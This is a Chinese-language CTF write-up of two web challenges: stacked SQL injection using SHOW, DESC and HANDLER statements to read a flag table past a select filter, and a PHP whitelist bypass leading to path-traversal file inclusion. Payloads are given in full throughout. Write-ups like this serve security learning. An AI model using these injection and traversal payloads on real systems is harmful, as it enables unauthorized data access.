- 0718 supersqli
- 0743 warmup
题目:强网杯2019 解答:测试闭合,单引号报错。
完整闭合:1'||'1
,而且从输出的内容确定是两段。
注入发现给出过滤内容:不能用select了。
那么考虑堆叠注入。
获取数据库:1';show databases;#
获取表:1';show tables;#
获取列:
1';desc `1919810931114514`;#
获取信息:
';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;#
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
题目:HCTF 2018 解答:查看源码发现source.php。
源码:
"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
?>
根据代码,我们先看一下hint.php的内容,给了flag的名字。
继续分析,通过代码可知,我们需要让checkFile返回true,其中有三次可以返回true的判断。
一次是直接判断是否有在白名单里,后两次都是截取问号前的内容再次判断是否在白名单里,判断一次截断一次,一共截断两次。
我们要实现文件包含,所以,第一个机会pass,思考第二次机会。
?file=source.php?/../../../../ffffllllaaaagggg
这样问号前就有白名单的内容了,也就绕过了判断。
这里其实是利用了路径穿越。
emmm忘记那个名词是什么了,暂且就称之垃圾目录吧(知道专业说法的,希望纠正一下我),就是source.php?
可以视为一个垃圾目录,它并不存在,但存在路径里。
虽然并不存在,但是include在读取的时候并不会去确认目录是否存在,而是最后通过路径确定是否能找到对应的文件,所以这里穿越了哪些目录呢?
网站根目录是/var/www/html
这应该都知道,所以至少要有三个../
才能访问到根目录,payload里还多的一个../
就是为了穿越那个垃圾目录source.php?
。
所以上面算是路径穿越最短的了,还可以再加../
,不过就无所谓了,最少要有4个。